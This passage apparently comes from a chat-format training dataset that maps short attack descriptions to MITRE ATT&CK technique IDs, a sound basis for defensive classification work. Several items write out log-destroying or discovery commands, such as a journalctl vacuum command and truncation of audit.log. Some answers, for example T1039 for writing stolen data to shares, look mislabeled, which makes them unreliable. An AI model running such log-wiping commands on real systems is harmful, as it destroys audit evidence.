                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new scheduled task with a hidden trigger that executes a reverse shell daily."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware drops a payload into the /data/tmp directory, then uses reflective loading to execute it in the context of a privileged service."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a compromised cloud account to deploy a container with a backdoor onto the victim’s orchestration platform."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reads database usernames and passwords embedded in a legacy Java properties file and uploads the file to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group acquires detailed network diagrams and IP address ranges of the target organization by buying them from insider sources."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary places a Trojan in a publicly accessible file share, allowing it to be downloaded and executed on other compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool searches for network drives with write permissions and writes stolen data into them."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group clears Linux audit logs by truncating /var/log/audit/audit.log after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the actor disables the Security log channel via the Windows API to hide activity."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts Kerberos tickets from LSASS and then crafts custom tickets to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload runs a PowerShell command that adds a forwarding rule to Outlook, sending all new emails to the attacker’s domain."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group initiates a memory exhaustion attack on endpoint agents, causing them to crash and stop reporting."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use automated scripts to search Bitbucket for exposed .env files containing passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved the use of Google Cloud’s remote SSH service to interact with compromised servers."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider changes group membership in the on-prem AD and forces replication to Office 365, resulting in elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates data theft by using a service account to pull all Confluence markdown files via the XML export."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the “Living off the Land” technique by executing native Windows binaries like certutil.exe to download payloads."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers corrupt the backup files on the file server, causing loss of data integrity for restored systems."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the at utility to queue a command that downloads additional malware from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the adversary performed file enumeration on remote shares via SMB to identify accessible resources."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised bot accesses SharePoint via the web UI, uses the ‘Download a Copy’ feature to retrieve sensitive reports."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwhelms the target’s network by sending a massive volume of UDP packets directly to random ports, causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a zero‑day vulnerability in SharePoint to bypass authentication and harvest documents."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary embeds command data in the User‑Agent string of regular web browsing traffic."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a shell pipeline to pipe the output of 'ps' into a remote listener for live process monitoring."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging stolen NTLM hashes, the threat actor performs Pass-the-Hash to authenticate on other domain machines."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder runs `net share` to reveal locally hosted shares on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework injects code into user processes to capture typed commands and passwords via keylogging techniques."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a malicious Windows Server that mimics the legitimate Active Directory domain controller to intercept authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deploying a malicious container through a compromised Swarm manager node."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a vulnerability to alter the Kerberos ticket-granting service, allowing pass-the-ticket attacks."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gains administrative rights on a Windows domain controller and modifies the authentication process to allow lateral movement using forged Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker provisions virtual machines in an obsolete AWS region to avoid corporate policy rules."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits the Azure Instance Metadata Service to steal VM access tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed stored credentials in the Microsoft Edge password repository by exploiting a privilege escalation bug."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses malformed SMB packets to crash the file sharing service on a corporate server, causing a denial of service for all clients."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the Windows PATH search order by placing a malicious 'cmd.exe' in a directory that appears earlier in an unquoted path, resulting in command execution hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queries the registry for CPU architecture and BIOS information to build a system profile."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged mass traceroute commands to profile the victim's network topology and active IP blocks."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a custom encoder that represents data in base64 strings, each staying under the 4 KB limit for outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor initiates a DCOM-based RPC to control services on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan caches stolen data in a remote Git repository."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the file system for PEM-encoded private keys and uploads them to a command-and-control server for later use."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the code signing verification registry keys to bypass signature checks for executables."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains the NTDS.dit file from the %systemroot%\\NTDS folder to extract user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor crafts malformed XPC messages that cause a privileged service to load a malicious library, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compressed the malicious executable into a password-protected ZIP archive."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a proprietary exploit for a recently patched kernel vulnerability and incorporates it into their weaponized malware."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man‑in‑the‑middle proxy, the attacker intercepts and captures OAuth2 tokens transmitted between a web client and the authentication server."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs a custom decoder to translate XOR‑encrypted configuration files into plaintext."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stolen domain admin credential to modify Group Policy Objects, inserting a malicious startup script that executes on every domain-joined host."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a hidden user with elevated privileges to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor signs up for a Microsoft Outlook account using synthetic personal information to hide their identity."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exploits a misconfiguration in the SAML token validator to inject forged credentials."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exfiltrates system configuration files by writing them to a USB‑C hard drive plugged into the target PC."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware harvests stored local passwords and logs in using those credentials to maintain control."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses DNS zone transfers to retrieve a list of all machines within the target's domain."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder accessed victim's environment via Azure Bastion, enabling interactive RDP sessions over the internet."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a privileged account, the threat actor hijacks an existing RDP connection to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware inspects CPU information for hypervisor signatures and aborts if it detects a known sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Print Processor configuration to point to a malicious DLL, which is executed with system privileges each time the print service starts."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised container in a Kubernetes pod calls the host's cloud metadata endpoint to extract temporary cloud credentials, leveraging the default network route to 169.254.169.254."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors acquire a legitimate developer's code signing key through phishing and sign their ransomware payloads, making them appear trusted to endpoint protection solutions."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Virus modifies the LaunchAgents plist to schedule a repeated execution of a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using hidden or disguised windows for unauthorized access"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the hacker cleared journalctl logs using \"journalctl --rotate && journalctl --vacuum-time=1s\" on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using LNK icon smuggling, the attacker hides malicious code inside the icon resource of a shortcut, bypassing file inspection."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a web service’s request/response mechanism for continuous two‑way data exchange, sending operational directives and receiving exfiltrated files in the same session."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed public cloud APIs, such as Dropbox and Google Drive, as a covert channel for command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses a paid legal database to locate patents and litigation documents concerning the target company's proprietary technologies."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module runs \"reg query HKLM\\Hardware\\Description\\System\\BIOS\" to collect firmware metadata from the registry."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor acquired a DNS server to facilitate the use of custom top‑level domains for stealthy C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest clear‑text credentials from Group Policy Preference XML files left on the file system."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates container network interfaces by listing \"eth0\" through \"ifconfig\" inside the container."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a Python one‑liner to modify Windows registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a known CVE to downgrade the operating system's security patches, rolling back to an older, vulnerable kernel."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
